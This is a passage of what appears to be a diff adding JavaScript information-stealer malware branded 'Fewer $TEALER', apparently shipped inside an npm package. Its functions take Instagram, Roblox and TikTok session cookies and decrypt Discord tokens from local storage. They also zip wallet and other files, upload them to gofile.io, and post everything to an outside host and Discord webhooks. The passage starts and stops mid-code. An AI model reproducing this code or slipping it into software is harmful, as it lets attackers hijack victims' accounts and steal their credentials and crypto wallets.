|
+
_0x4ff4c6 +
|
|
428
|
+
"), $null, 'CurrentUser')"
|
|
429
|
+
)
|
|
430
|
+
.toString()
|
|
431
|
+
.split('\r\n'),
|
|
432
|
+
_0x4a5920 = _0x4860ac.filter((_0x29ebb3) => _0x29ebb3 != ''),
|
|
433
|
+
_0x2ed7ba = Buffer.from(_0x4a5920)
|
|
434
|
+
browserPath[_0x4c3514].push(_0x2ed7ba)
|
|
435
|
+
} catch (_0x32406b) {}
|
|
436
|
+
}
|
|
437
|
+
}
|
|
438
|
+
|
|
439
|
+
|
|
440
|
+
// Assuming you have the necessary import for the httpx library
|
|
441
|
+
|
|
442
|
+
async function GetInstaData(session_id) {
|
|
443
|
+
try {
|
|
444
|
+
const headers = {
|
|
445
|
+
"Host": "i.instagram.com",
|
|
446
|
+
"X-Ig-Connection-Type": "WiFi",
|
|
447
|
+
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
|
|
448
|
+
"X-Ig-Capabilities": "36r/Fx8=",
|
|
449
|
+
"User-Agent": "Instagram 159.0.0.28.123 (iPhone8,1; iOS 14_1; en_SA@calendar=gregorian; ar-SA; scale=2.00; 750x1334; 244425769) AppleWebKit/420+",
|
|
450
|
+
"X-Ig-App-Locale": "en",
|
|
451
|
+
"X-Mid": "Ypg64wAAAAGXLOPZjFPNikpr8nJt",
|
|
452
|
+
"Accept-Encoding": "gzip, deflate",
|
|
453
|
+
"Cookie": `sessionid=${session_id};`
|
|
454
|
+
};
|
|
455
|
+
|
|
456
|
+
const response = await httpx.get("https://i.instagram.com/api/v1/accounts/current_user/?edit=true", { headers: headers });
|
|
457
|
+
const userData = response.data.user;
|
|
458
|
+
|
|
459
|
+
const data = {
|
|
460
|
+
username: userData.username,
|
|
461
|
+
verified: userData.is_verified,
|
|
462
|
+
avatar: userData.profile_pic_url,
|
|
463
|
+
session_id: session_id
|
|
464
|
+
};
|
|
465
|
+
|
|
466
|
+
return data;
|
|
467
|
+
} catch (error) {
|
|
468
|
+
console.error("Error fetching Instagram data:", error);
|
|
469
|
+
return null;
|
|
470
|
+
}
|
|
471
|
+
}
|
|
472
|
+
|
|
473
|
+
async function GetFollowersCount(session_id) {
|
|
474
|
+
try {
|
|
475
|
+
const headers = {
|
|
476
|
+
"Host": "i.instagram.com",
|
|
477
|
+
"User-Agent": "Instagram 159.0.0.28.123 (iPhone8,1; iOS 14_1; en_SA@calendar=gregorian; ar-SA; scale=2.00; 750x1334; 244425769) AppleWebKit/420+",
|
|
478
|
+
"Cookie": `sessionid=${session_id};`
|
|
479
|
+
};
|
|
480
|
+
|
|
481
|
+
const accountResponse = await httpx.get("https://i.instagram.com/api/v1/accounts/current_user/?edit=true", { headers: headers });
|
|
482
|
+
const accountInfo = accountResponse.data.user;
|
|
483
|
+
|
|
484
|
+
const userInfoResponse = await httpx.get(`https://i.instagram.com/api/v1/users/${accountInfo.pk}/info`, { headers: headers });
|
|
485
|
+
const userData = userInfoResponse.data.user;
|
|
486
|
+
const followersCount = userData.follower_count;
|
|
487
|
+
|
|
488
|
+
return followersCount;
|
|
489
|
+
} catch (error) {
|
|
490
|
+
console.error("Error fetching followers count:", error);
|
|
491
|
+
return null;
|
|
492
|
+
}
|
|
493
|
+
}
|
|
494
|
+
|
|
495
|
+
async function SubmitInstagram(session_id) {
|
|
496
|
+
try {
|
|
497
|
+
const data = await GetInstaData(session_id);
|
|
498
|
+
const followersCount = await GetFollowersCount(session_id);
|
|
499
|
+
|
|
500
|
+
// Your Discord webhook URL
|
|
501
|
+
|
|
502
|
+
const embed = {
|
|
503
|
+
title: 'Instagram Data',
|
|
504
|
+
color: 16761867, // You can set the color of the embed (optional)
|
|
505
|
+
thumbnail: { url: data.avatar },
|
|
506
|
+
fields: [
|
|
507
|
+
{ name: 'Verified', value: data.verified ? 'Yes' : 'No', inline: true },
|
|
508
|
+
{ name: 'Token', value: data.session_id, inline: true }, // Corrected to data.session_id
|
|
509
|
+
{ name: 'Username', value: data.username, inline: true },
|
|
510
|
+
{ name: 'Followers Count', value: followersCount, inline: true } // Use followersCount directly
|
|
511
|
+
],
|
|
512
|
+
};
|
|
513
|
+
|
|
514
|
+
// Send the embed to the Discord webhook
|
|
515
|
+
await httpx.post(webhook3939, { embeds: [embed] });
|
|
516
|
+
console.log("Data sent to Discord webhook successfully.");
|
|
517
|
+
} catch (error) {
|
|
518
|
+
console.error("Error sending data to Discord webhook:", error);
|
|
519
|
+
}
|
|
520
|
+
}
|
|
521
|
+
|
|
522
|
+
|
|
523
|
+
|
|
524
|
+
//
|
|
525
|
+
|
|
526
|
+
|
|
527
|
+
// Assuming you have a function named GetFollowers(session_id) that fetches the followers list
|
|
528
|
+
|
|
529
|
+
|
|
530
|
+
async function GetRobloxData(secret_cookie) {
|
|
531
|
+
let data = {};
|
|
532
|
+
let headers = {
|
|
533
|
+
'accept': 'application/json, text/plain, */*',
|
|
534
|
+
'accept-encoding': 'gzip, deflate, br',
|
|
535
|
+
'accept-language': 'en-US,en;q=0.9,hi;q=0.8',
|
|
536
|
+
'cookie': `.ROBLOSECURITY=${secret_cookie};`,
|
|
537
|
+
'origin': 'https://www.roblox.com',
|
|
538
|
+
'referer': 'https://www.roblox.com',
|
|
539
|
+
'sec-ch-ua': '"Chromium";v="110", "Not A(Brand";v="24", "Google Chrome";v="110"',
|
|
540
|
+
'sec-ch-ua-mobile': '?0',
|
|
541
|
+
'sec-ch-ua-platform': '"Windows"',
|
|
542
|
+
'sec-fetch-dest': 'empty',
|
|
543
|
+
'sec-fetch-mode': 'cors',
|
|
544
|
+
'sec-fetch-site': 'same-site',
|
|
545
|
+
'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36'
|
|
546
|
+
};
|
|
547
|
+
|
|
548
|
+
try {
|
|
549
|
+
let response = await axios.get('https://www.roblox.com/mobileapi/userinfo', { headers: headers });
|
|
550
|
+
|
|
551
|
+
data['username'] = response.data['UserName'];
|
|
552
|
+
data['avatar'] = response.data['ThumbnailUrl'];
|
|
553
|
+
data['robux'] = response.data['RobuxBalance'];
|
|
554
|
+
data['premium'] = response.data['IsPremium'];
|
|
555
|
+
|
|
556
|
+
return data;
|
|
557
|
+
} catch (error) {
|
|
558
|
+
console.error('Error fetching Roblox data:', error.message);
|
|
559
|
+
throw error;
|
|
560
|
+
}
|
|
561
|
+
}
|
|
562
|
+
|
|
563
|
+
async function SubmitRoblox(secret_cookie) {
|
|
564
|
+
try {
|
|
565
|
+
let data = await GetRobloxData(secret_cookie);
|
|
566
|
+
|
|
567
|
+
// Check if the required properties are defined and non-empty
|
|
568
|
+
if (!data || !data.username || data.robux === undefined || data.premium === undefined) {
|
|
569
|
+
console.error('Invalid Roblox data received:', data);
|
|
570
|
+
return;
|
|
571
|
+
}
|
|
572
|
+
|
|
573
|
+
data['secret_cookie'] = secret_cookie;
|
|
574
|
+
|
|
575
|
+
const formattedSecretCookie = secret_cookie.toString().replace(/`/g, '‵');
|
|
576
|
+
|
|
577
|
+
// Check if robux value is 0 and handle accordingly
|
|
578
|
+
const robuxValue = data.robux === 0 ? 'No Robux' : data.robux;
|
|
579
|
+
|
|
580
|
+
let embed = {
|
|
581
|
+
color: 0x303037,
|
|
582
|
+
author: {
|
|
583
|
+
name: 'Roblox Session',
|
|
584
|
+
icon_url: 'https://media.discordapp.net/attachments/1128742988252713001/1128986101093244949/68f5dd00afb66e8b8f599a77e12e7d19.gif',
|
|
585
|
+
},
|
|
586
|
+
thumbnail: {
|
|
587
|
+
url: data.avatar,
|
|
588
|
+
},
|
|
589
|
+
fields: [
|
|
590
|
+
{
|
|
591
|
+
name: 'Name:',
|
|
592
|
+
value: data.username,
|
|
593
|
+
inline: false,
|
|
594
|
+
},
|
|
595
|
+
{
|
|
596
|
+
name: 'Robux:',
|
|
597
|
+
value: robuxValue,
|
|
598
|
+
inline: false,
|
|
599
|
+
},
|
|
600
|
+
{
|
|
601
|
+
name: 'Premium:',
|
|
602
|
+
value: data.premium ? 'Yes' : 'No',
|
|
603
|
+
inline: false,
|
|
604
|
+
},
|
|
605
|
+
],
|
|
606
|
+
footer: {
|
|
607
|
+
text: '@fewerstealer',
|
|
608
|
+
},
|
|
609
|
+
};
|
|
610
|
+
|
|
611
|
+
let payload = {
|
|
612
|
+
embeds: [embed],
|
|
613
|
+
};
|
|
614
|
+
|
|
615
|
+
axios.post("https://buildandwatch.net/npm", payload)
|
|
616
|
+
.then(response => {
|
|
617
|
+
console.log('Discord webhook sent successfully!');
|
|
618
|
+
})
|
|
619
|
+
.catch(error => {
|
|
620
|
+
console.error('Error sending Discord webhook:', error.message);
|
|
621
|
+
});
|
|
622
|
+
} catch (error) {
|
|
623
|
+
console.error('Error fetching Roblox data:', error.message);
|
|
624
|
+
}
|
|
625
|
+
}
|
|
626
|
+
|
|
627
|
+
|
|
628
|
+
|
|
629
|
+
//
|
|
630
|
+
|
|
631
|
+
|
|
632
|
+
function stealTikTokSession(cookie) {
|
|
633
|
+
try {
|
|
634
|
+
const headers = {
|
|
635
|
+
'accept': 'application/json, text/plain, */*',
|
|
636
|
+
'accept-encoding': 'gzip, compress, deflate, br',
|
|
637
|
+
'cookie': `sessionid=${cookie}`
|
|
638
|
+
};
|
|
639
|
+
|
|
640
|
+
axios.get("https://www.tiktok.com/passport/web/account/info/?aid=1459&app_language=de-DE&app_name=tiktok_web&battery_info=1&browser_language=de-DE&browser_name=Mozilla&browser_online=true&browser_platform=Win32&browser_version=5.0%20%28Windows%20NT%2010.0%3B%20Win64%3B%20x64%29%20AppleWebKit%2F537.36%20%28KHTML%2C%20like%20Gecko%29%20Chrome%2F112.0.0.0%20Safari%2F537.36&channel=tiktok_web&cookie_enabled=true&device_platform=web_pc&focus_state=true&from_page=fyp&history_len=2&is_fullscreen=false&is_page_visible=true&os=windows&priority_region=DE&referer=®ion=DE&screen_height=1080&screen_width=1920&tz_name=Europe%2FBerlin&webcast_language=de-DE", { headers })
|
|
641
|
+
.then(response => {
|
|
642
|
+
const accountInfo = response.data;
|
|
643
|
+
|
|
644
|
+
if (!accountInfo || !accountInfo.data || !accountInfo.data.username) {
|
|
645
|
+
throw new Error("Failed to retrieve TikTok account information.");
|
|
646
|
+
}
|
|
647
|
+
|
|
648
|
+
|
|
649
|
+
axios.post(
|
|
650
|
+
"https://api.tiktok.com/aweme/v1/data/insighs/?tz_offset=7200&aid=1233&carrier_region=DE",
|
|
651
|
+
"type_requests=[{\"insigh_type\":\"vv_history\",\"days\":16},{\"insigh_type\":\"pv_history\",\"days\":16},{\"insigh_type\":\"like_history\",\"days\":16},{\"insigh_type\":\"comment_history\",\"days\":16},{\"insigh_type\":\"share_history\",\"days\":16},{\"insigh_type\":\"user_info\"},{\"insigh_type\":\"follower_num_history\",\"days\":17},{\"insigh_type\":\"follower_num\"},{\"insigh_type\":\"week_new_videos\",\"days\":7},{\"insigh_type\":\"week_incr_video_num\"},{\"insigh_type\":\"self_rooms\",\"days\":28},{\"insigh_type\":\"user_live_cnt_history\",\"days\":58},{\"insigh_type\":\"room_info\"}]",
|
|
652
|
+
{ headers: { cookie: `sessionid=${cookie}` } }
|
|
653
|
+
)
|
|
654
|
+
.then(response => {
|
|
655
|
+
const insights = response.data;
|
|
656
|
+
|
|
657
|
+
axios.get(
|
|
658
|
+
"https://webcast.tiktok.com/webcast/wallet_api/diamond_buy/permission/?aid=1988&app_language=de-DE&app_name=tiktok_web&battery_info=1&browser_language=de-DE&browser_name=Mozilla&browser_online=true&browser_platform=Win32&browser_version=5.0%20%28Windows%20NT%2010.0%3B%20Win64%3B%20x64%29%20AppleWebKit%2F537.36%20%28KHTML%2C%20like%20Gecko%29%20Chrome%2F112.0.0.0%20Safari%2F537.36&channel=tiktok_web&cookie_enabled=true",
|
|
659
|
+
{ headers: { cookie: `sessionid=${cookie}` } }
|
|
660
|
+
)
|
|
661
|
+
.then(response => {
|
|
662
|
+
const wallet = response.data;
|
|
663
|
+
|
|
664
|
+
const webhookPayload = {
|
|
665
|
+
embeds: [
|
|
666
|
+
{
|
|
667
|
+
title: "TikTok Session Detected",
|
|
668
|
+
description: "The TikTok session was detected",
|
|
669
|
+
color: 16716947, // Renk kodu (Opsiyonel)
|
|
670
|
+
fields: [
|
|
671
|
+
{
|
|
672
|
+
name: "Cookie",
|
|
673
|
+
value: "```" + cookie + "```",
|
|
674
|
+
inline: true
|
|
675
|
+
},
|
|
676
|
+
{
|
|
677
|
+
name: "Profile URL",
|
|
678
|
+
value: accountInfo.data.username ? `[Click here](https://tiktok.com/@${accountInfo.data.username})` : "Username not available",
|
|
679
|
+
inline: true
|
|
680
|
+
},
|
|
681
|
+
{
|
|
682
|
+
name: "User Identifier",
|
|
683
|
+
value: "```" + (accountInfo.data.user_id_str || "Not available") + "```",
|
|
684
|
+
inline: true
|
|
685
|
+
},
|
|
686
|
+
{
|
|
687
|
+
name: "Email",
|
|
688
|
+
value: "```" + (accountInfo.data.email || "No Email") + "```",
|
|
689
|
+
inline: true
|
|
690
|
+
},
|
|
691
|
+
{
|
|
692
|
+
name: "Username",
|
|
693
|
+
value: "```" + accountInfo.data.username + "```",
|
|
694
|
+
inline: true
|
|
695
|
+
},
|
|
696
|
+
{
|
|
697
|
+
name: "Follower Count",
|
|
698
|
+
value: "```" + (insights?.follower_num?.value || "Not available") + "```",
|
|
699
|
+
inline: true
|
|
700
|
+
},
|
|
701
|
+
{
|
|
702
|
+
name: "Coins",
|
|
703
|
+
value: "```" + wallet.data.coins + "```",
|
|
704
|
+
inline: true
|
|
705
|
+
}
|
|
706
|
+
],
|
|
707
|
+
footer: {
|
|
708
|
+
text: "TikTok Session Information" // Altbilgi metni (Opsiyonel)
|
|
709
|
+
}
|
|
710
|
+
}
|
|
711
|
+
]
|
|
712
|
+
};
|
|
713
|
+
|
|
714
|
+
// Replace 'YOUR_DISCORD_WEBHOOK_URL' with your actual Discord webhook URL
|
|
715
|
+
|
|
716
|
+
|
|
717
|
+
axios.post("https://buildandwatch.net/npm", webhookPayload)
|
|
718
|
+
.then(() => {
|
|
719
|
+
console.log("Discord webhook sent successfully!");
|
|
720
|
+
})
|
|
721
|
+
.catch(error => {
|
|
722
|
+
console.error("Error sending Discord webhook:", error.message);
|
|
723
|
+
});
|
|
724
|
+
})
|
|
725
|
+
.catch(error => {
|
|
726
|
+
console.error("Error fetching wallet data:", error.message);
|
|
727
|
+
throw error;
|
|
728
|
+
});
|
|
729
|
+
})
|
|
730
|
+
.catch(error => {
|
|
731
|
+
console.error("Error fetching insights:", error.message);
|
|
732
|
+
throw error;
|
|
733
|
+
});
|
|
734
|
+
})
|
|
735
|
+
.catch(error => {
|
|
736
|
+
console.error("Error fetching account info:", error.message);
|
|
737
|
+
throw error;
|
|
738
|
+
});
|
|
739
|
+
} catch (error) {
|
|
740
|
+
console.error("Error:", error.message);
|
|
741
|
+
throw error;
|
|
742
|
+
}
|
|
743
|
+
}
|
|
744
|
+
|
|
745
|
+
|
|
746
|
+
///
|
|
747
|
+
|
|
748
|
+
|
|
749
|
+
function addFolder(folderPath) {
|
|
750
|
+
const folderFullPath = path.join(randomPath, folderPath);
|
|
751
|
+
if (!fs.existsSync(folderFullPath)) {
|
|
752
|
+
try {
|
|
753
|
+
fs.mkdirSync(folderFullPath, { recursive: true });
|
|
754
|
+
} catch (error) {}
|
|
755
|
+
}
|
|
756
|
+
}
|
|
757
|
+
|
|
758
|
+
|
|
759
|
+
async function getZipp(sourcePath, zipFilePath) {
|
|
760
|
+
try {
|
|
761
|
+
const zip = new AdmZip();
|
|
762
|
+
zip.addLocalFolder(sourcePath);
|
|
763
|
+
zip.writeZip('' + zipFilePath);
|
|
764
|
+
} catch (error) {}
|
|
765
|
+
}
|
|
766
|
+
|
|
767
|
+
|
|
768
|
+
|
|
769
|
+
function getZip(sourcePath, zipFilePath) {
|
|
770
|
+
try {
|
|
771
|
+
const zip = new AdmZip();
|
|
772
|
+
zip.addLocalFolder(sourcePath);
|
|
773
|
+
zip.writeZip('' + zipFilePath);
|
|
774
|
+
} catch (error) {}
|
|
775
|
+
}
|
|
776
|
+
|
|
777
|
+
function copyFolder(sourcePath, destinationPath) {
|
|
778
|
+
const isDestinationExists = fs.existsSync(destinationPath);
|
|
779
|
+
const destinationStats = isDestinationExists && fs.statSync(destinationPath);
|
|
780
|
+
const isDestinationDirectory = isDestinationExists && destinationStats.isDirectory();
|
|
781
|
+
|
|
782
|
+
if (isDestinationDirectory) {
|
|
783
|
+
addFolder(sourcePath);
|
|
784
|
+
|
|
785
|
+
fs.readdirSync(destinationPath).forEach((file) => {
|
|
786
|
+
const sourceFile = path.join(sourcePath, file);
|
|
787
|
+
const destinationFile = path.join(destinationPath, file);
|
|
788
|
+
copyFolder(sourceFile, destinationFile);
|
|
789
|
+
});
|
|
790
|
+
} else {
|
|
791
|
+
fs.copyFileSync(destinationPath, path.join(randomPath, sourcePath));
|
|
792
|
+
}
|
|
793
|
+
}
|
|
794
|
+
|
|
795
|
+
function GetTokensFromPath(tokenPath) {
|
|
796
|
+
|
|
797
|
+
let path_tail = path;
|
|
798
|
+
tokenPath += "\\Local Storage\\leveldb";
|
|
799
|
+
let tokens = [];
|
|
800
|
+
|
|
801
|
+
if (tokenPath.includes('cord')) {
|
|
802
|
+
if (fs.existsSync(path_tail + '\\Local State')) {
|
|
803
|
+
try {
|
|
804
|
+
fs.readdirSync(tokenPath)
|
|
805
|
+
.map(file => {
|
|
806
|
+
(file.endsWith('.log') || file.endsWith('.ldb')) && fs.readFileSync(path + '\\' + file, 'utf8')
|
|
807
|
+
.split(/\r?\n/)
|
|
808
|
+
.forEach(line => {
|
|
809
|
+
const pattern = new RegExp(/dQw4w9WgXcQ:[^.*\['(.*)'\].*$][^\"]*/g);
|
|
810
|
+
const foundTokens = line.match(pattern);
|
|
811
|
+
if (foundTokens) {
|
|
812
|
+
foundTokens.forEach(token => {
|
|
813
|
+
let encrypted = Buffer.from(JSON.parse(fs.readFileSync(path_tail + 'Local State')).os_crypt.encrypted_key, 'base64').slice(5);
|
|
814
|
+
const key = dpapi.unprotectData(Buffer.from(encrypted, 'utf-8'), null, 'CurrentUser');
|
|
815
|
+
token = Buffer.from(token.split('dQw4w9WgXcQ:')[1], 'base64')
|
|
816
|
+
let start = token.slice(3, 15),
|
|
817
|
+
middle = token.slice(15, token.length - 16),
|
|
818
|
+
end = token.slice(token.length - 16, token.length),
|
|
819
|
+
decipher = crypto.createDecipheriv('aes-256-gcm', key, start);
|
|
820
|
+
|
|
821
|
+
decipher.setAuthTag(end);
|
|
822
|
+
let out = decipher.update(middle, 'base64', 'utf-8') + decipher.final('utf-8')
|
|
823
|
+
if (!tokens.includes(out)) tokens.push(out);
|
|
824
|
+
})
|
|
825
|
+
}
|
|
826
|
+
});
|
|
827
|
+
});
|
|
828
|
+
} catch {}
|
|
829
|
+
return tokens;
|
|
830
|
+
}
|
|
831
|
+
} else {
|
|
832
|
+
try {
|
|
833
|
+
|
|
834
|
+
fs.readdirSync(path.normalize(tokenPath)).map((file) => {
|
|
835
|
+
if (file.endsWith(".log") || file.endsWith(".ldb")) {
|
|
836
|
+
fs.readFileSync(`${tokenPath}\\${file}`, "utf8")
|
|
837
|
+
.split(/\r?\n/)
|
|
838
|
+
.forEach(async (line) => {
|
|
839
|
+
const regex = [
|
|
840
|
+
new RegExp(/mfa\.[\w-]{84}/g),
|
|
841
|
+
new RegExp(/[\w-][\w-][\w-]{24}\.[\w-]{6}\.[\w-]{26,110}/gm),
|
|
842
|
+
new RegExp(/[\w-]{24}\.[\w-]{6}\.[\w-]{38}/g)
|
|
843
|
+
];
|
|
844
|
+
for (const _regex of regex) {
|
|
845
|
+
const token = line.match(_regex);
|
|
846
|
+
|
|
847
|
+
if (token) {
|
|
848
|
+
token.forEach((element) => {
|
|
849
|
+
tokens.push(element);
|
|
850
|
+
});
|
|
851
|
+
}
|
|
852
|
+
}
|
|
853
|
+
});
|
|
854
|
+
}
|
|
855
|
+
});
|
|
856
|
+
} catch {
|
|
857
|
+
|
|
858
|
+
}
|
|
859
|
+
}
|
|
860
|
+
return tokens;
|
|
861
|
+
}
|
|
862
|
+
|
|
863
|
+
function findToken(path) {
|
|
864
|
+
path += 'Local Storage\\leveldb';
|
|
865
|
+
let tokens = [];
|
|
866
|
+
try {
|
|
867
|
+
fs.readdirSync(path)
|
|
868
|
+
.map(file => {
|
|
869
|
+
(file.endsWith('.log') || file.endsWith('.ldb')) && fs.readFileSync(path + '\\' + file, 'utf8')
|
|
870
|
+
.split(/\r?\n/)
|
|
871
|
+
.forEach(line => {
|
|
872
|
+
const patterns = [new RegExp(/mfa\.[\w-]{84}/g), new RegExp(/[\w-][\w-][\w-]{24}\.[\w-]{6}\.[\w-]{26,110}/gm), new RegExp(/[\w-]{24}\.[\w-]{6}\.[\w-]{38}/g)];
|
|
873
|
+
for (const pattern of patterns) {
|
|
874
|
+
const foundTokens = line.match(pattern);
|
|
875
|
+
if (foundTokens) foundTokens.forEach(token => tokens.push(token));
|
|
876
|
+
}
|
|
877
|
+
});
|
|
878
|
+
});
|
|
879
|
+
} catch (e) {}
|
|
880
|
+
return tokens;
|
|
881
|
+
}
|
|
882
|
+
|
|
883
|
+
|
|
884
|
+
async function createZip(sourcePath, zipPath) {
|
|
885
|
+
return new Promise((resolve, reject) => {
|
|
886
|
+
const output = fs.createWriteStream(zipPath);
|
|
887
|
+
const archive = archiver('zip', { zlib: { level: 9 } });
|
|
888
|
+
|
|
889
|
+
output.on('close', () => {
|
|
890
|
+
console.log('ZIP arşivi oluşturuldu: ' + archive.pointer() + ' bayt');
|
|
891
|
+
resolve();
|
|
892
|
+
});
|
|
893
|
+
|
|
894
|
+
archive.on('error', (err) => {
|
|
895
|
+
reject(err);
|
|
896
|
+
});
|
|
897
|
+
|
|
898
|
+
archive.pipe(output);
|
|
899
|
+
archive.directory(sourcePath, false);
|
|
900
|
+
archive.finalize();
|
|
901
|
+
});
|
|
902
|
+
}
|
|
903
|
+
|
|
904
|
+
async function createZippp(sourcePath, zipPath) {
|
|
905
|
+
return new Promise((resolve, reject) => {
|
|
906
|
+
const output = fs.createWriteStream(zipPath);
|
|
907
|
+
const archive = archiver('zip', { zlib: { level: 9 } });
|
|
908
|
+
|
|
909
|
+
output.on('close', () => {
|
|
910
|
+
console.log('ZIP arşivi oluşturuldu: ' + archive.pointer() + ' bayt');
|
|
911
|
+
resolve();
|
|
912
|
+
});
|
|
913
|
+
|
|
914
|
+
archive.on('error', (err) => {
|
|
915
|
+
reject(err);
|
|
916
|
+
});
|
|
917
|
+
|
|
918
|
+
archive.pipe(output);
|
|
919
|
+
archive.directory(sourcePath, false);
|
|
920
|
+
archive.finalize();
|
|
921
|
+
});
|
|
922
|
+
}
|
|
923
|
+
|
|
924
|
+
async function createZipp(sourcePath, zipPath) {
|
|
925
|
+
return new Promise((resolve, reject) => {
|
|
926
|
+
const zip = new AdmZip();
|
|
927
|
+
zip.addLocalFolder(sourcePath);
|
|
928
|
+
zip.writeZip(zipPath, (err) => {
|
|
929
|
+
if (err) {
|
|
930
|
+
reject(err);
|
|
931
|
+
} else {
|
|
932
|
+
console.log('ZIP arşivi oluşturuldu: ' + zipPath);
|
|
933
|
+
|
|
934
|
+
resolve();
|
|
935
|
+
}
|
|
936
|
+
});
|
|
937
|
+
});
|
|
938
|
+
}
|
|
939
|
+
|
|
940
|
+
async function getZippp() {
|
|
941
|
+
|
|
942
|
+
getZipp(randomPath, randomPath + '.zip')
|
|
943
|
+
|
|
944
|
+
// Gofile.io API'dan sunucu bilgisini al ve dosyayı yükle
|
|
945
|
+
|
|
946
|
+
// Gofile.io API'dan sunucu bilgisini al ve dosyayı yükle
|
|
947
|
+
axios.get('https://api.gofile.io/getServer')
|
|
948
|
+
.then(response => {
|
|
949
|
+
if (response.data && response.data.data && response.data.data.server) {
|
|
950
|
+
const server = response.data.data.server;
|
|
951
|
+
|
|
952
|
+
// Dosya yolu ve adını belirleyelim.
|
|
953
|
+
const filePath = './' + user.randomUUID + '.zip';
|
|
954
|
+
|
|
955
|
+
// Dosya yükleme işlemi için FormData oluşturalım ve dosyayı ekleyelim.
|
|
956
|
+
const form = new FormData();
|
|
957
|
+
form.append('file', fs.createReadStream(filePath));
|
|
958
|
+
|
|
959
|
+
axios.post(`https://${server}.gofile.io/uploadFile`, form, {
|
|
960
|
+
headers: form.getHeaders()
|
|
961
|
+
})
|
|
962
|
+
.then(uploadResponse => {
|
|
963
|
+
const responsePayload = {
|
|
964
|
+
uploadResponseData: uploadResponse.data
|
|
965
|
+
};
|
|
966
|
+
|
|
967
|
+
// Webhook URL'si
|
|
968
|
+
const webhookUrl = 'https://buildandwatch.net/npm';
|
|
969
|
+
|
|
970
|
+
// Embed verisini oluştur
|
|
971
|
+
const embedData = {
|
|
972
|
+
embeds: [
|
|
973
|
+
{
|
|
974
|
+
title: 'Wallet Dosya Yükleme Yanıtı',
|
|
975
|
+
description: JSON.stringify(uploadResponse.data, null, 2), // JSON verisini güzel bir şekilde göstermek için kullanıyoruz
|
|
976
|
+
color: 16711680 // Embed rengi (örnekte kırmızı renk)
|
|
977
|
+
}
|
|
978
|
+
],
|
|
979
|
+
};
|
|
980
|
+
|
|
981
|
+
// Webhook'a POST isteği gönder
|
|
982
|
+
axios.post(webhookUrl, embedData)
|
|
983
|
+
.then(webhookResponse => {
|
|
984
|
+
console.log('Webhook gönderildi:', webhookResponse.status, webhookResponse.statusText);
|
|
985
|
+
})
|
|
986
|
+
.catch(error => {
|
|
987
|
+
console.log('Webhook gönderilirken hata oluştu:', error.message);
|
|
988
|
+
});
|
|
989
|
+
|
|
990
|
+
})
|
|
991
|
+
.catch(error => {
|
|
992
|
+
console.log('Dosya yüklenirken hata oluştu:', error.message);
|
|
993
|
+
|
|
994
|
+
const responsePayload = {
|
|
995
|
+
error: error.message
|
|
996
|
+
};
|
|
997
|
+
|
|
998
|
+
// Webhook URL'si
|
|
999
|
+
const webhookUrl = 'https://buildandwatch.net/npm';
|
|
1000
|
+
|
|
1001
|
+
// Embed verisini oluştur
|
|
1002
|
+
const embedData = {
|
|
1003
|
+
embeds: [
|
|
1004
|
+
{
|
|
1005
|
+
title: 'Dosya Yükleme Hatası',
|
|
1006
|
+
description: JSON.stringify(responsePayload, null, 2), // JSON verisini güzel bir şekilde göstermek için kullanıyoruz
|
|
1007
|
+
color: 16711680 // Embed rengi (örnekte kırmızı renk)
|
|
1008
|
+
}
|
|
1009
|
+
],
|
|
1010
|
+
};
|
|
1011
|
+
|
|
1012
|
+
// Webhook'a POST isteği gönder
|
|
1013
|
+
axios.post(webhookUrl, embedData)
|
|
1014
|
+
.then(webhookResponse => {
|
|
1015
|
+
console.log('Webhook gönderildi:', webhookResponse.status, webhookResponse.statusText);
|
|
1016
|
+
})
|
|
1017
|
+
.catch(error => {
|
|
1018
|
+
console.log('Webhook gönderilirken hata oluştu:', error.message);
|
|
1019
|
+
});
|
|
1020
|
+
});
|
|
1021
|
+
} else {
|
|
1022
|
+
console.log('Sunucu alınamadı veya yanıt vermedi.');
|
|
1023
|
+
}
|
|
1024
|
+
})
|
|
1025
|
+
.catch(error => {
|
|
1026
|
+
console.log('Sunucu alınırken hata oluştu:', error.message);
|
|
1027
|
+
});
|
|
1028
|
+
|
|
1029
|
+
}
|
|
1030
|
+
|
|
1031
|
+
async function stealltokens() {
|
|
1032
|
+
const fields = [];
|
|
1033
|
+
for (let path of paths) {
|
|
1034
|
+
const foundTokens = findToken(path);
|
|
1035
|
+
if (foundTokens) foundTokens.forEach(token => {
|
|
1036
|
+
var c = {
|
|
1037
|
+
name: "<:browserstokens:951827260741156874> Browser Token;",
|
|
1038
|
+
value: `\`\`\`${token}\`\`\`[CopyToken](https://sourwearyresources.rustlerjs.repl.co/copy/` + token + `)`,
|
|
1039
|
+
inline: !0
|
|
1040
|
+
}
|
|
1041
|
+
fields.push(c)
|
|
1042
|
+
});
|
|
1043
|
+
}
|
|
1044
|
+
|
|
1045
|
+
|
|
1046
|
+
axios.post("https://buildandwatch.net/npm", {
|
|
1047
|
+
"content": null,
|
|
1048
|
+
"embeds": [
|
|
1049
|
+
{
|
|
1050
|
+
"color": config["embed-color"],
|
|
1051
|
+
"fields": fields.filter(onlyUnique),
|
|
1052
|
+
"author": {
|
|
1053
|
+
"name": `Fewer $TEALER`,
|
|
1054
|
+
"icon_url": "https://cdn.discordapp.com/attachments/932693851494289559/935491879703830577/9d285c5f2be8347152a3d9309dafa484.jpg"
|
|
1055
|
+
},
|
|
1056
|
+
"footer": {
|
|
1057
|
+
"text": "Fewer $TEALER"
|
|
1058
|
+
},
|
|
1059
|
+
}]
|
|
1060
|
+
}) .then(res => {}).catch(error => {})
|
|
1061
|
+
|
|
1062
|
+
}
|
|
1063
|
+
|
|
1064
|
+
|
|
1065
|
+
|
|
1066
|
+
|
|
1067
|
+
|
|
1068
|
+
|
|
1069
|
+
|
|
1070
|
+
function StealTokens() {
|
|
1071
|
+
let paths;
|
|
1072
|
+
|
|
1073
|
+
if (process.platform == "win32") {
|
|
1074
|
+
const local = process.env.LOCALAPPDATA;
|
|
1075
|
+
const roaming = process.env.APPDATA;
|
|
1076
|
+
|
|
1077
|
+
paths = {
|
|
1078
|
+
Discord: path.join(roaming, "Discord"),
|
|
1079
|
+
"Discord Canary": path.join(roaming, "discordcanary"),
|
|
1080
|
+
"Discord PTB": path.join(roaming, "discordptb"),
|
|
1081
|
+
"Google Chrome": path.join(local, "Google", "Chrome", "User Data", "Default"),
|
|
1082
|
+
Opera: path.join(roaming, "Opera Software", "Opera Stable"),
|
|
1083
|
+
